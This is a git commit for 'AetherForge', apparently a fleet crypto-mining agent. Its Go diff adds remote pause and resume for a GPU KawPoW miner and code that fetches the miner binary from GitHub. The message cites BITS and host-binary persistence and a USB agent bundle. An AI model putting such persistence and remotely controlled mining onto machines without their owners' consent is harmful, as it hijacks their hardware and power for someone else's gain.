feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -58,10 +58,14 @@ type GPUMiner struct {
mu sync.RWMutex
stats GPUMinerStats
active bool
paused bool
proc *os.Process // currently running subprocess (nil if stopped)
stopCh chan struct{}
wg sync.WaitGroup
stopCh chan struct{}
pauseCh chan struct{} // closed when paused, re-created on resume
resumeCh chan struct{} // closed when resuming from pause
pauseMu sync.Mutex
wg sync.WaitGroup
}
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
@@ -81,12 +85,17 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
return nil
}
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
return &GPUMiner{
g := &GPUMiner{
cfg: cfg,
info: info,
installDir: installDir,
stopCh: make(chan struct{}),
pauseCh: make(chan struct{}),
resumeCh: make(chan struct{}),
}
// Start with resumeCh closed so the run loop is not blocked.
close(g.resumeCh)
return g
}
// Start downloads (if needed) and launches the GPU miner, then polls stats.
@@ -100,6 +109,8 @@ func (g *GPUMiner) Start() {
// Stop shuts down the GPU miner and waits for it to exit.
func (g *GPUMiner) Stop() {
// Resume first so the run loop is not blocked on pauseCh when stop fires.
g.Resume()
select {
case <-g.stopCh:
default:
@@ -108,6 +119,74 @@ func (g *GPUMiner) Stop() {
g.wg.Wait()
}
// Pause suspends KawPoW polling and kills the running miner subprocess until
// Resume is called. Safe to call multiple times.
func (g *GPUMiner) Pause() {
g.pauseMu.Lock()
defer g.pauseMu.Unlock()
g.mu.Lock()
already := g.paused
if !already {
g.paused = true
// Kill the running process so it stops consuming GPU.
if g.proc != nil {
_ = g.proc.Kill()
}
}
g.mu.Unlock()
if !already {
// Signal the run loop to enter the paused wait.
select {
case <-g.pauseCh:
default:
close(g.pauseCh)
}
log.Printf("[gpu] miner paused by remote command")
}
}
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
func (g *GPUMiner) Resume() {
g.pauseMu.Lock()
defer g.pauseMu.Unlock()
g.mu.Lock()
wasPaused := g.paused
g.paused = false
g.mu.Unlock()
if wasPaused {
// Unblock the run loop waiting on resumeCh, then reset both channels.
select {
case <-g.resumeCh:
default:
close(g.resumeCh)
}
g.pauseCh = make(chan struct{})
g.resumeCh = make(chan struct{})
log.Printf("[gpu] miner resumed by remote command")
}
}
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
func (g *GPUMiner) waitIfPaused() bool {
g.pauseMu.Lock()
pauseCh := g.pauseCh
resumeCh := g.resumeCh
g.pauseMu.Unlock()
select {
case <-pauseCh:
// Paused — wait for resume or stop.
select {
case <-g.stopCh:
return false
case <-resumeCh:
return true
}
default:
return true
}
}
// Stats returns the latest GPU mining statistics.
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
g.mu.RLock()
@@ -159,6 +238,10 @@ func (g *GPUMiner) run() {
default:
}
if !g.waitIfPaused() {
return
}
ep := pools[poolIdx%len(pools)]
proc, err := g.startProcessOnPool(binPath, ep)
if err != nil {
@@ -325,11 +408,24 @@ func (g *GPUMiner) spec() minerSpec {
func (g *GPUMiner) ensureMinerBinary() (string, error) {
spec := g.spec()
// 1. Check the agent's install directory first.
binPath := filepath.Join(g.installDir, spec.fileName)
if _, err := os.Stat(binPath); err == nil {
return binPath, nil
}
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
// 2. Check the directory that contains the running agent binary (side-by-side).
if exePath, err := os.Executable(); err == nil {
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
if _, err := os.Stat(sideBySide); err == nil {
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
return sideBySide, nil
}
}
// 3. Fall back to downloading from GitHub.
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
return "", fmt.Errorf("download failed: %w", err)
}